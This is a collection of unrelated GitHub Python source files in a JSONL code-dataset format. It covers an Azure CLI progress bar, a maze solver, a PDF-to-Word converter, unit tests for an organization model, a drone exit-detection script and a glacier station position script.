length(self) -> int:\n raise NotImplementedError()\n\n def viterbi(self, seq: CSequence, window_length: int = 0) -> CResults:\n return self._hmm.viterbi(seq, self.special_node.T, window_length)\n","repo_name":"horta/iseq","sub_path":"iseq/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40112417718","text":"from random import randint\nfrom time import sleep\n\nfrom azure.cli.core.commands.progress import ProgressViewBase\n\nfrom prompt_toolkit.document import Document # pylint: disable=import-error\n\nfrom .util import get_window_dim\n\n\nclass ShellProgressView(ProgressViewBase):\n \"\"\" custom output for progress reporting \"\"\"\n progress = ''\n progress_bar = ''\n done = False\n heart_bar = ''\n # have 2 down beats to make the odds work out better\n heart_beat_values = {0: \"__\", 1: \"/\\\\\", 2: '/^\\\\', 3: \"__\"}\n\n def __init__(self):\n super(ShellProgressView, self).__init__(None)\n\n def write(self, args): # pylint: disable=no-self-use\n \"\"\" writes the progres \"\"\"\n ShellProgressView.done = False\n message = args.get('message', '')\n percent = args.get('percent', None)\n if percent:\n ShellProgressView.progress_bar = _format_value(message, percent)\n if int(percent) == 1:\n ShellProgressView.progress_bar = None\n\n ShellProgressView.progress = message\n\n def flush(self):\n pass\n\n def clear(self): # pylint: disable=no-self-use\n ShellProgressView.done = True\n ShellProgressView.progress = ''\n ShellProgressView.progress_bar = ''\n\n\ndef _format_value(msg, percent=0.0):\n _, col = get_window_dim()\n bar_len = int(col) - len(msg) - 10\n\n completed = int(bar_len * percent)\n message = '{}['.format(msg)\n message += ('#' * completed).ljust(bar_len)\n message += '] {:.1%}'.format(percent)\n return message\n\n\ndef get_progress_message():\n \"\"\" gets the progress message \"\"\"\n return ShellProgressView.progress\n\n\ndef get_done():\n return ShellProgressView.done\n\n\ndef progress_view(shell):\n \"\"\" updates the view \"\"\"\n while not ShellProgressView.done:\n _, col = get_window_dim()\n col = int(col)\n progress = get_progress_message()\n if '\\n' in progress:\n prog_list = progress.split('\\n')\n prog_val = len(prog_list[-1])\n else:\n prog_val = len(progress)\n buffer_size = col - prog_val - 4\n\n if ShellProgressView.progress_bar:\n doc = u'{}:{}'.format(progress, ShellProgressView.progress_bar)\n shell.spin_val = -1\n counter = 0\n ShellProgressView.heart_bar = ''\n else:\n if progress and not ShellProgressView.done:\n heart_bar = ShellProgressView.heart_bar\n if shell.spin_val >= 0:\n beat = ShellProgressView.heart_beat_values[_get_heart_frequency()]\n heart_bar += beat\n heart_bar = heart_bar[len(beat):]\n len_beat = len(heart_bar)\n if len_beat > buffer_size:\n heart_bar = heart_bar[len_beat - buffer_size:]\n\n while len(heart_bar) < buffer_size:\n beat = ShellProgressView.heart_beat_values[_get_heart_frequency()]\n heart_bar += beat\n\n else:\n shell.spin_val = 0\n counter = 0\n while counter < buffer_size:\n beat = ShellProgressView.heart_beat_values[_get_heart_frequency()]\n heart_bar += beat\n counter += len(beat)\n ShellProgressView.heart_bar = heart_bar\n doc = u'{}:{}'.format(progress, ShellProgressView.heart_bar)\n shell.cli.buffers['progress'].reset(\n initial_document=Document(doc))\n shell.cli.request_redraw()\n sleep(shell.intermediate_sleep)\n\n ShellProgressView.done = False\n ShellProgressView.progress_bar = ''\n shell.spin_val = -1\n sleep(shell.final_sleep)\n return True\n\n\ndef _get_heart_frequency():\n return int(round(randint(0, 3)))\n","repo_name":"Azure/azure-cli-extensions","sub_path":"src/interactive/azext_interactive/azclishell/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":3852,"program_lang":"python","lang":"en","doc_type":"code","stars":350,"dataset":"github-code","pt":"5"} +{"seq_id":"35244677111","text":"from collections import defaultdict, deque\n\nDIRS = [(0, -1), (1, 0), (0, 1), (-1, 0)]\n\n\ndef get_neighbors(x, y):\n\n for i, d in enumerate(DIRS):\n yield (x + d[0], y + d[1]), i + 1\n\n\ndef parse_portals(g):\n\n portals = defaultdict(list)\n reverse = {}\n\n for (x, y), c in g.items():\n if c in '.# ':\n continue\n\n pos = None\n sl = None\n fl = c\n\n for n, _ in get_neighbors(x, y):\n if n not in g:\n continue\n\n # entry\n if g[n] == '.':\n pos = n\n\n # exit portal\n elif g[n] not in '.# ':\n sl = g[n]\n\n if pos is None or sl is None:\n continue\n\n signature = fl + sl if fl < sl else sl + fl\n\n portals[signature].append(pos)\n reverse[pos] = signature\n\n return portals, reverse\n\n\ndef solve(labyrinth):\n\n portals, reverse_portals = parse_portals(labyrinth)\n\n w, h = max(labyrinth)\n aa = portals['AA'][0]\n\n states = deque()\n\n initial_state = (aa[0], aa[1], 0)\n states.append(initial_state)\n\n visited = {(aa[0], aa[1])}\n\n while states:\n x, y, d = states.popleft()\n\n # exit !!\n if (x, y) == portals['ZZ'][0]:\n return d\n if labyrinth[(x, y)] == '#':\n continue\n\n for n, _ in get_neighbors(x, y):\n\n # portals\n if labyrinth[n] not in '#. ':\n lp = portals[reverse_portals[(x, y)]]\n if len(lp) < 2:\n continue\n\n if lp[0] == (x, y):\n n = lp[1]\n else:\n n = lp[0]\n\n if (n[0], n[1]) not in visited:\n visited.add((n[0], n[1]))\n states.append((n[0], n[1], d + 1))\n\n\ndef main():\n\n lab = {}\n with open('input') as in_f:\n for y, l in enumerate(in_f.read().split(\"\\n\")):\n for x, c in enumerate(l):\n lab[(x, y)] = c\n\n solution = solve(lab)\n\n print(solution)\n\n\nif __name__ == \"__main__\":\n\n main()\n","repo_name":"carrdelling/AdventOfCode2019","sub_path":"day20/silver.py","file_name":"silver.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22469842803","text":"# coding: utf-8\nimport win32com.client as win32\nimport os\n\n\nclass PDF2Word(object):\n def __init__(self, rootDir):\n self.rootDir = rootDir\n self.word = win32.gencache.EnsureDispatch('Word.Application')\n self.word.Visible = False\n\n def run(self):\n try:\n self.walkdir(self.rootDir)\n finally:\n self.word.Quit()\n\n def walkdir(self, dir_):\n for filename in os.listdir(dir_):\n pathname = os.path.join(dir_, filename)\n if os.path.isdir(pathname):\n self.convert_files_folder(pathname)\n self.walkdir(pathname)\n else:\n self.covert_files(pathname)\n\n def covert_files(self, f):\n if f.endswith('.pdf'):\n fullpath = os.path.join(f)\n head, pdf_name = os.path.split(fullpath)\n save_path = os.path.join(head, pdf_name.replace('.pdf', '.docx'))\n if not os.path.exists(save_path):\n self.pdf_to_word(fullpath)\n\n def convert_files_folder(self, folder):\n files = os.listdir(folder)\n for f in files:\n self.covert_files(os.path.join(folder, f))\n\n def pdf_to_word(self, pdf_path):\n head, pdf_name = os.path.split(pdf_path)\n save_path = os.path.join(head, pdf_name.replace('.pdf', '.docx'))\n try:\n doc = self.word.Documents.Open(pdf_path)\n self.word.ActiveDocument.SaveAs(save_path)\n print('File \"{}\" transfer Complete'.format(pdf_name))\n except Exception as e:\n print(e)\n print(\"%s conver failed\" % pdf_path)\n\n\ndef pdf_to_word(word, pdf_path):\n head, pdf_name = os.path.split(pdf_path)\n save_path = os.path.join(head, pdf_name.replace('.pdf', '.docx'))\n doc = word.Documents.Open(pdf_path)\n word.ActiveDocument.SaveAs(save_path)\n print('File \"{}\" transfer Complete'.format(pdf_name))\n\n\nif __name__ == '__main__':\n dir_ = 'D:\\\\pdf_dir'\n pdf2word = PDF2Word(dir_)\n pdf2word.run()\n","repo_name":"wnma3mz/Tools","sub_path":"pdfs/pdf2word.py","file_name":"pdf2word.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"5"} +{"seq_id":"9438560230","text":"# from itertools import combinations\n\n\n# N, M = map(int,input().split())\n\n\n# data = []\n\n\n# for i in range(1,N+1):\n# data.append(i)\n\n\n# C = combinations(data,M)\n\n\n# for i in C:\n# print(' '.join(map(str,i)))\n\n\n\nfrom itertools import combinations\n\nN, M = map(int,input().split())\n\n\ndata = []\n\nfor i in range(1,N+1):\n data.append(i)\n\n\nC = combinations(data,M)\n\nfor i in C:\n print(' '.join(map(str,i)))\n\n# N과 M (2)\n# 이 문제는 자연수 N,M이 주어졌을때 1부터 N까지 자연수 중에서 \n# \"중복 없이\" M개를 고르고 고른 수열은 \"오름차순\"이여야하는 문제\n# 나는 combinations 파이썬 표준 라이브러리를 사용해 풀었다.\n# 데이터 type이 int형인 N,M을 입력받는다.\n# 1~N까지 수를 담아둘 리스트 선언\n# 1~N까지 자연수를 담는다.\n# data리스트에서 1개를 뽑아 나열(순열은 순서가 상관이 있다.)\n# combinations을 시키면 tuple값으로 담김\n#여기서 핵심은 tuple값으로 담긴걸 str형태로 뽑아서 출력해야함\n# i를 뽑아낼 때 tuple => str로 map메서드를 사용\n# join메서드를 사용하는 이유는 리스트의 요소를 공백기준으로 연결해 문자열로 만들기 위함","repo_name":"freeland120/Today-I-Learned-TIL-","sub_path":"CodingTest/CodingTest_Python/BaekJoon/15650.py","file_name":"15650.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22105902044","text":"from .wallet_balance import WalletTokens\nfrom .wallet_transactions import TokenTransactions\n\n\nclass WalletManager:\n \"\"\"\n The WalletManager class serves as a higher-level interface for\n interacting with the Etherscan API.\n It provides methods to fetch transaction and balance information\n for a given Ethereum address.\n \"\"\"\n async def get_transactions(self, address, limit, token_amount):\n\n transactions = TokenTransactions(address, limit=limit,\n min_token_amount=token_amount)\n\n result = {\"transactions\": []}\n\n async for tx in transactions.get_result():\n result[\"transactions\"].append(\n {\n 'date': tx['datetime_obj'],\n 'transaction': tx['tx_hash'],\n 'sendler': tx['from_address'],\n 'receiver': tx['to_address'],\n 'sum': tx['value']\n }\n )\n return result\n\n async def get_balance(self, address):\n wallet_tokens = WalletTokens(address)\n\n result = {\"balance\": []}\n\n async for token_result in wallet_tokens.get_result():\n result[\"balance\"].append(token_result)\n\n return result\n\n\nwallet_manager = WalletManager()\n","repo_name":"Kem0111/Wallet_Check_API","sub_path":"app/wallet_analytics/wallet_manager.py","file_name":"wallet_manager.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21914543417","text":"from math import sqrt, atan2, pi,atan\nfrom xml.etree.ElementTree import PI\n\nimport numpy as np\nfrom movment import Drone\nimport math\n\n\ndef makeRectangle(x,z): # this functions will find the midean point of all points in the cloud point, reterning an array containing the edges of the rectangle \n numOfPoints=len(x)\n mideanX=(float)(sum(x)/numOfPoints)\n mideanZ=(float)(sum(z)/numOfPoints)\n #found the midean point in the cloud\n\n recDimentions = 0;\n for i in range(numOfPoints):\n recDimentions+=sqrt((x[i]-mideanX)**2+(z[i]-mideanZ)**2) #some algebra: distance between two points\n# ************************2????????\n recDimentions=recDimentions/numOfPoints\n recDimentions*=2\n rect=[[mideanX-recDimentions,mideanZ+recDimentions],[mideanX+recDimentions,mideanZ+recDimentions],[mideanX+recDimentions,mideanZ-recDimentions],[mideanX-recDimentions,mideanZ-recDimentions]]\n return rect\n\ndef deleteWithinRectangleBorders(rectangle,x,z): # given a rectangle, we will ignore every point in the point cloud that is located within the borders of this rectangle \n Xs=[]\n Zs=[]\n numOfPoints = len(x)\n\n for i in range(numOfPoints):\n\n if(checkInsideRect(rectangle,x[i],z[i])!=1):\n Xs.append(x[i])\n Zs.append(z[i])\n\n return Xs, Zs\n\ndef checkInsideRect(rectangle,x,z): # help function, for each point we will check if it is located inside the rectangle or not\n#check if we recieved a rectangle from the form _________ _______\n # | | or \\_______\\\n # ---------\n upLeft = rectangle[0] # A B\n upRight = rectangle[1]\n downRight = rectangle[2]\n downLeft = rectangle[3]\n if(downLeft[0]-upLeft[0]==0): # case A\n return (x > downLeft[0] and x < upRight[0] and z > downLeft[1] and z < upRight[1])\n\n #else will check the max and min slope that can fit into the rectangle\n else: # case B\n slope1 = float(downLeft[1] - upLeft[1]) / float(downLeft[0] - upLeft[0])\n slope2 = float(downLeft[1] - downRight[1]) / float(downLeft[0] - downRight[0])\n slope3 = float(upRight[1] - upLeft[1]) / float(upRight[0] - upLeft[0])\n slope4 = float(upLeft[1] - downRight[1]) / float(upRight[0] - downRight[0])\n\n m1 = float(downLeft[1] - z) / float(downLeft[0] - x)\n m2 = float(upRight[1] - z) / float(upRight[0] - x)\n return (slope2<=m1<=slope1 and slope3<=m2<=slope4)\n\n\ndef findExitQuarterAccordingToDencity(x,z,mideanZ,mideanX):\n #need to calculate which quarter has the max dencity after we done the cleaning inside the rectangle\n #why? we beileve that this rectangle after the cleaning will contain maximum number of points, because orbslam will detect points from outside the room(won't fit into the rectangle we created before\n\n # d = dencity\n d1 = 0\n d2 = 0\n d3 = 0\n d4 = 0\n\n sum1x = 0\n sum1z = 0\n\n sum2x = 0\n sum2z = 0\n\n sum3x = 0\n sum3z = 0\n\n sum4x = 0\n sum4z = 0\n \n size=len(x)\n for i in range(size):\n if(x[i] >= mideanX and z[i] >= mideanZ):\n d1 += 1\n sum1x += x[i]\n sum1z += z[i]\n elif(x[i] >= mideanX and z[i] <= mideanZ):\n d2 += 1\n sum2x += x[i]\n sum2z += z[i]\n elif(x[i] <= mideanX and z[i] <= mideanZ):\n d3 += 1\n sum3x += x[i]\n sum3z += z[i]\n elif(x[i] <= mideanX and z[i] >= mideanZ):\n d4+=1\n sum4x+=x[i]\n sum4z+=z[i]\n \n Max=max([d1,d2,d3,d4]) # finding the most dence quarter and return it's meadian point\n if(max==d1):\n return 1,float(sum1x/d1),float(sum1z/d1)\n if(max==d2):\n return 2,float(sum2x/d2),float(sum2z/d2)\n if(max==d3):\n return 3,float(sum3x/d3),float(sum3z/d3)\n else:\n return 4,float(sum4x/d4),float(sum4z/d4)\n\ndef getExitAngleFromCenter(centerX, centerZ, mideanX, mideanZ): #calculate the angle we should rotate the drone inorder to reach the quarter meadian \n return int(atan(float(centerZ)/float(centerX) )* 180 / pi)\n\n\ndef moveDrone():\n Drone.move_forward(500)\n Drone.move_forward(200)\n \ndef mainyy(): # this function will retrieve the point cloud and detect the exit of the room\n #also returns to main.py where to go _ in which degree to move\n x, y, z = np.loadtxt('/home/ruba/pointData.csv', unpack=True, delimiter=',')\n size = len(x)\n mideanX = float(sum(x)) / float(size)\n mideanZ = float(sum(z)) / float(size)\n rectangle = makeRectangle(x, z) # will look at the room from above concidering only X and Z values\n xNew,zNew = deleteWithinRectangleBorders(rectangle,x,z)\n quarterIndex,centerX,centerZ = findExitQuarterAccordingToDencity(xNew,zNew,mideanZ,mideanX)\n angle = getExitAngleFromCenter(centerX, centerZ, mideanX, mideanZ)\n return x,y,z,mideanZ,mideanX,rectangle,xNew,zNew,quarterIndex,angle\n\n","repo_name":"ruba751/Summer-project","sub_path":"detectExit.py","file_name":"detectExit.py","file_ext":"py","file_size_in_byte":5189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6578866957","text":"from db import Session\r\nimport unittest\r\nfrom organization import *\r\nfrom datetime import datetime\r\nfrom sqlalchemy import exc\r\nimport random\r\nimport string\r\nfrom user import User\r\nfrom event import Event\r\n\r\n#allowed = ('name', 'address', 'city', 'state', 'zip', 'mission', 'email', 'phone', 'activity')\r\nclass OrganizationTests(unittest.TestCase):\r\n\r\n\r\n\r\n\t #checks if the events fields are initialized correctly\r\n def test_01_init(self):\r\n N=15\r\n logemail = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(N)) + '@gmail.com'\r\n pocemail = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(N)) + '@gmail.com'\r\n org = Organization('Test Org', logemail, 'fire', '6208675309',\r\n 'Mass Ave', 'Boston', 'MA', '02115', \r\n 'doing charity things', pocemail)\r\n self.assertTrue(org.name == 'Test Org')\r\n #self.assertTrue(org.email == 'wood.jos@gmail.com')\r\n #password encrypted\r\n self.assertTrue(org.phone == '6208675309')\r\n self.assertTrue(org.address == 'Mass Ave')\r\n self.assertTrue(org.city == 'Boston')\r\n self.assertTrue(org.state == 'MA')\r\n self.assertTrue(org.zip == '02115')\r\n self.assertTrue(org.mission == 'doing charity things')\r\n #self.assertTrue(org.poc == 'jos.wood@husky.neu.edu')\r\n\r\n\r\n def test_02_db_write(self):\r\n N=15\r\n logemail = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(N)) + '@gmail.com'\r\n pocemail = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(N)) + '@gmail.com'\r\n org = Organization('Test Org', logemail, 'fire', '6208675309',\r\n 'Mass Ave', 'Boston', 'MA', '02115', \r\n 'doing charity things', pocemail)\r\n\r\n s = Session()\r\n try:\r\n s.add(org)\r\n s.commit()\r\n s.close()\r\n self.assertTrue(True)\r\n except exc.SQLAlchemyError:\r\n self.assertTrue(False)\r\n\r\n\r\n def test_03_db_pull(self):\r\n session = Session()\r\n org = Organization('Test Org', 'wood.jos@gmail.com', 'fire', '6208675309',\r\n 'Mass Ave', 'Boston', 'MA', '02115', \r\n 'doing charity things', 'jos.wood@husky.neu.edu')\r\n\r\n borg = session.query(Organization).filter_by(address='Mass Ave').first()\r\n self.assertTrue(org.name == borg.name)\r\n self.assertTrue(org.phone == borg.phone)\r\n self.assertTrue(org.address == borg.address)\r\n self.assertTrue(org.zip == borg.zip)\r\n self.assertTrue(org.city == borg.city)\r\n self.assertTrue(org.state == borg.state)\r\n self.assertTrue(org.mission == borg.mission)\r\n\r\n def test_04_updating_name(self):\r\n session = Session()\r\n test = session.query(User).filter_by(name='Test Org').first()\r\n q = session.query(User).filter_by(id=test.id)\r\n q = q.update({\"name\":\"Wood Joey\"})\r\n test = session.query(User).filter_by(id=test.id).first()\r\n self.assertTrue(test.name == 'Wood Joey')\r\n session.close()\r\n\r\n def test_05_updating_email(self):\r\n session = Session()\r\n test = session.query(User).filter_by(name='Test Org').first()\r\n q = session.query(User).filter_by(id=test.id)\r\n q = q.update({\"email\":\"jos.wood@husky.neu.edu\"})\r\n test = session.query(User).filter_by(id=test.id).first()\r\n self.assertTrue(test.email == 'jos.wood@husky.neu.edu')\r\n session.close()\r\n\r\n# def test_06_add_event(self):\r\n# s = Session()\r\n# org = s.query(Organization).filter_by(name=\"Test Org\").first()\r\n# race = Event('Race for the Cure', 'Mass Ave', 'Boston', 'MA', '02115',\r\n# 'Running a marathon to raise money for cancer research', datetime(2016, 4, 2, 13, 0, 0),\r\n# datetime(2016, 4, 2, 14, 0, 0), org.id, 30)\r\n#\r\n# s.add(race)\r\n# s.commit()\r\n# s.close()\r\n# if s.query(Event).filter_by(name='Race for the Cure').first():\r\n# self.assertTrue(True)\r\n# else:\r\n# self.assertTrue(False)\r\n\r\n def test_07_password_check(self):\r\n session = Session()\r\n test = session.query(User).filter_by(name='Test Org').first()\r\n try:\r\n self.assertTrue(test.passwordhash != 'fire')\r\n self.assertTrue(test.check_password('fire'))\r\n self.assertFalse(test.check_password('Fire'))\r\n self.assertFalse(test.check_password('firee'))\r\n except exc.SQLAlchemyError:\r\n self.assertTrue(False)\r\n session.close()\r\n\r\n def test_08_create_org(self):\r\n session = Session()\r\n N = 15\r\n logemail = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(N)) + '@gmail.com'\r\n pocemail = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(N)) + '@gmail.com'\r\n json = {'name':'Test Org', 'email':logemail, 'passwordhash':'fire',\r\n 'phone':'6208675309', 'address':'Mass Ave', 'city':'Boston',\r\n 'state':'MA', 'zip':'02115', 'mission':'doing charity things',\r\n 'poc':pocemail}\r\n try:\r\n organization.createOrganization(json)\r\n except exc.SQLAlchemyError:\r\n self.assertTrue(False)\r\n\r\n\r\n def test_09_delete_self(self):\r\n session = Session()\r\n test = session.query(User).filter_by(name='Test Org').first()\r\n tid = test.id\r\n self.assertTrue(test != None)\r\n test.deleteSelf(session)\r\n org = session.query(User).filter_by(id=tid).first()\r\n self.assertTrue(org == None)\r\n events = session.query(Event).filter_by(org=id).first()\r\n self.assertTrue(events == None)\r\n session.close()\r\n\r\n \r\n\r\n def test_10_zip_long(self):\r\n self.assertRaises(ValueError, Organization, 'Test Org', 'wood.jos@gmail.com', 'fire', '6208675309',\r\n 'Mass Ave', 'Boston', 'MA', '021155', \r\n 'doing charity things', 'jos.wood@husky.neu.edu')\r\n\r\n\r\n def test_11_zip_short(self):\r\n self.assertRaises(ValueError, Organization, 'Test Org', 'wood.jos@gmail.com', 'fire', '6208675309',\r\n 'Mass Ave', 'Boston', 'MA', '0211', \r\n 'doing charity things', 'jos.wood@husky.neu.edu')\r\n\r\n def test_12_zip_letters(self):\r\n self.assertRaises(ValueError, Organization, 'Test Org', 'wood.jos@gmail.com', 'fire', '6208675309',\r\n 'Mass Ave', 'Boston', 'MA', 'abcde', \r\n 'doing charity things', 'jos.wood@husky.neu.edu')\r\n\r\n def test_13_phone_long(self):\r\n self.assertRaises(ValueError, Organization, 'Test Org', 'wood.jos@gmail.com', 'fire', '62086753099',\r\n 'Mass Ave', 'Boston', 'MA', '02115', \r\n 'doing charity things', 'jos.wood@husky.neu.edu')\r\n\r\n def test_14_phone_short(self):\r\n self.assertRaises(ValueError, Organization, 'Test Org', 'wood.jos@gmail.com', 'fire', '620867530',\r\n 'Mass Ave', 'Boston', 'MA', '02115', \r\n 'doing charity things', 'jos.wood@husky.neu.edu')\r\n\r\n def test_15_phone_letters(self):\r\n self.assertRaises(ValueError, Organization, 'Test Org', 'wood.jos@gmail.com', 'fire', 'abcdefghij',\r\n 'Mass Ave', 'Boston', 'MA', '02115', \r\n 'doing charity things', 'jos.wood@husky.neu.edu')\r\n\r\n \r\n \r\n \r\n\r\nif __name__ == '__main__':\r\n\tunittest.main()\r\n","repo_name":"knueven/americorps-backend","sub_path":"organizationTest.py","file_name":"organizationTest.py","file_ext":"py","file_size_in_byte":7950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71247769431","text":"import re\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom pprint import pprint\n\nfile = open(\"script_data/bench_last2.txt\", 'r')\n\ndef parse_line(line: str):\n params = line.split(';')\n res = dict()\n for param in params:\n param = param.strip()\n name, value = (str.strip(s) for s in param.split(':'))\n res[name] = value\n return res\n\ndef parse_file(input):\n return list(map(parse_line, input))\n\ndef parse_data(data):\n res = []\n for item in data:\n d = list(map(int, re.match(r'(\\d+)\\s+(\\d+)', item[\"info\"]).groups()))\n res.append({\n \"words_in_line\": d[0],\n \"words_to_replace\": d[1],\n \"time\": float(item['time'][:-1])\n })\n \n return res\n\ndata = parse_data(parse_file(file))\ndf = pd.DataFrame(data, columns=[\"words_in_line\", \"words_to_replace\", \"time\"])\nprint(df, end='\\n\\n')\n\n############################################################################################\n\nvals = [df.loc[df['words_to_replace'] == val] for val in df[\"words_to_replace\"].unique()]\nys = [list(item['time']) for item in vals]\nx = df[\"words_in_line\"].unique()\n\n\nax = plt.subplot(1, 2, 1)\nfor y, label in zip(ys, (f\"words_to_replace={v}\" for v in df[\"words_to_replace\"].unique())):\n ax.plot(x, y, label=label)\n \nax.set_ylabel('time')\nax.set_xlabel('words_in_line')\n# ax.set_xscale('log')\nax.legend(loc='upper left')\n\n############################################################################################\n\nvals = [df.loc[df['words_in_line'] == val] for val in df[\"words_in_line\"].unique()]\nys = [list(item['time']) for item in vals]\nx = df[\"words_to_replace\"].unique()\n\n\nax = plt.subplot(1, 2, 2)\nfor y, label in zip(ys, (f\"words_in_line={v}\" for v in df[\"words_in_line\"].unique())):\n ax.plot(x, y, label=label)\n \nax.set_ylabel('time')\nax.set_xlabel('words_to_replace')\nax.set_yscale('log')\nax.legend(loc='upper left')\n\nplt.show()\n","repo_name":"avdosev/word_replacer","sub_path":"scripts/bench_graphs.py","file_name":"bench_graphs.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"35959240732","text":"# -*- coding: utf-8 -*-\nimport sys\nimport unittest\n\n\nclass ChineseTest(unittest.TestCase):\n def test(self):\n gz = '甲午'\n if sys.version_info.major > 2:\n gz_bytes = gz.encode(\"utf-8\")\n else:\n gz_bytes = gz\n g = gz_bytes.decode('utf-8')[:1].encode('utf-8')\n z = gz_bytes.decode('utf-8')[1:].encode('utf-8')\n self.assertEqual('甲', g)\n self.assertEqual('午', z)\n","repo_name":"wuliqq/lunar-python","sub_path":"test/ChineseTest.py","file_name":"ChineseTest.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"27046116722","text":"class Solution:\n def titleToNumber(self, columnTitle: str) -> int:\n base = 1\n total = 0\n for i in range(len(columnTitle) - 1, -1, -1):\n total += (ord(columnTitle[i]) - ord('A') + 1) * base\n base *= 26\n return total\n\n\nprint(Solution().titleToNumber(\"FXSHRXW\"))\n","repo_name":"XinweiChai/leetcode_problems","sub_path":"python/problem171.py","file_name":"problem171.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72624011992","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\nextrasolar_str = [\"ZRO\", \"ONE\", \"TWO\", \"THR\", \"FOR\", \"FIV\", \"SIX\", \"SVN\", \"EGT\", \"NIN\"]\n# 문자열을 받아 작은 수부터 차례로 정렬\n# 문자별로 숫자를 지정해줘야겠네..?\nfor _ in range(1, T + 1):\n tc, num = map(str, input().split())\n num_list = list(map(str, input().split()))\n # ['SVN', 'FOR', 'ZRO', 'NIN', ...]\n\n extrasolar_num = []\n for n in num_list :\n tmp = extrasolar_str.index(n)\n extrasolar_num.append(tmp)\n\n # 문자로 재변환\n result = []\n for tn in sorted(extrasolar_num):\n result.append(extrasolar_str[tn])\n print(tc)\n print(' '.join(result))\n","repo_name":"Leeyounwoo/Algorithm","sub_path":"In SSAFY/0813/sunwoo4bw/1221_GNS/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15547700867","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: bav@geus.dk\n\ntip list:\n %matplotlib inline\n %matplotlib qt\n import pdb; pdb.set_trace()\n\"\"\"\nimport os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n# from adjustText import adjust_text\n# import matplotlib.colormap as cm\nimport geopandas as gpd\nfrom pandas.tseries.frequencies import to_offset\nimport matplotlib.patheffects as pe\nfrom datetime import datetime as dt\nimport time\nimport imageio.v2 as imageio\nfrom mpl_toolkits.axes_grid1.anchored_artists import AnchoredSizeBar\nimport matplotlib.font_manager as fm\n# (down)loading coordinates spreadsheet \ntry:\n url = \"https://docs.google.com/spreadsheets/d/1R2SA7rqo9PHfAAGeSVgy7eWVHRugV8Z3nbWga5Xin1U/export?format=csv&gid=0\"\n pd.read_csv(url).to_csv(\"data/GC-Net_yearly_positions.csv\", index=None)\nexcept:\n print('Cannot access online file, using local file')\n pass\ndf_pos = pd.read_csv(\"data/GC-Net_yearly_positions.csv\")\nmeta = pd.read_csv('data/GC-Net_location.csv', skipinitialspace=True)\n\nmake_gif = 0\n\ndef toYearFraction(date):\n def sinceEpoch(date): # returns seconds since epoch\n return time.mktime(date.timetuple())\n s = sinceEpoch\n\n year = date.year\n startOfThisYear = dt(year=year, month=1, day=1)\n startOfNextYear = dt(year=year+1, month=1, day=1)\n\n yearElapsed = s(date) - s(startOfThisYear)\n yearDuration = s(startOfNextYear) - s(startOfThisYear)\n fraction = yearElapsed/yearDuration\n\n return date.year + fraction\n\nplt.close('all')\n# col = cm('Spectral',32)\nabc = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\ndf_all = pd.DataFrame()\ni=0\n# df_pos = df_pos.loc[df_pos.name_long=='JAR1',:]\n\nfor j in df_pos.id.unique():\n station=df_pos.loc[df_pos.id==j,'name_long'].iloc[0]\n if station in ['GITS', 'South Dome', 'Saddle', 'Summit','NEEM']:\n continue\n tmp = df_pos.loc[df_pos.id==j,:].reset_index(drop=True).copy()\n tmp.date = pd.to_datetime(tmp.date, errors='coerce')\n tmp = tmp.set_index('date')\n tmp = tmp.loc[tmp.index.notnull(),: ]\n if len(tmp.index.year.unique())<3:\n continue\n \n tmp_interp= pd.DataFrame()\n tmp_interp['lon'] = tmp.lon.values\n tmp_interp['lat'] = tmp.lat.values\n tmp_interp['date'] = tmp.index.values\n for d in pd.to_datetime(meta.loc[meta.ID==j, ['InstallationDate']].values[0]):\n s = tmp_interp.iloc[0:1,:]\n s.iloc[0,:2] = np.nan\n s.iloc[0,2]=[pd.to_datetime(str(d.year)+'-01-01')]\n tmp_interp = pd.concat((tmp_interp, s))\n for d in pd.to_datetime(meta.loc[meta.ID==j, ['LastValidDate']].values[0]):\n s = tmp_interp.iloc[0:1,:]\n s.iloc[0,:2] = np.nan\n s.iloc[0,2]=[pd.to_datetime(str(d.year)+'-12-31')]\n tmp_interp = pd.concat((tmp_interp, s))\n tmp_interp = tmp_interp.sort_values('date')\n tmp_interp = tmp_interp.loc[tmp_interp.date.notnull(), :].set_index('date')\n tmp_interp = tmp_interp.resample('H').mean()\n tmp_interp = tmp_interp.interpolate(method='spline',order=1, \n limit_direction='both', fill_value=\"extrapolate\")\n\n 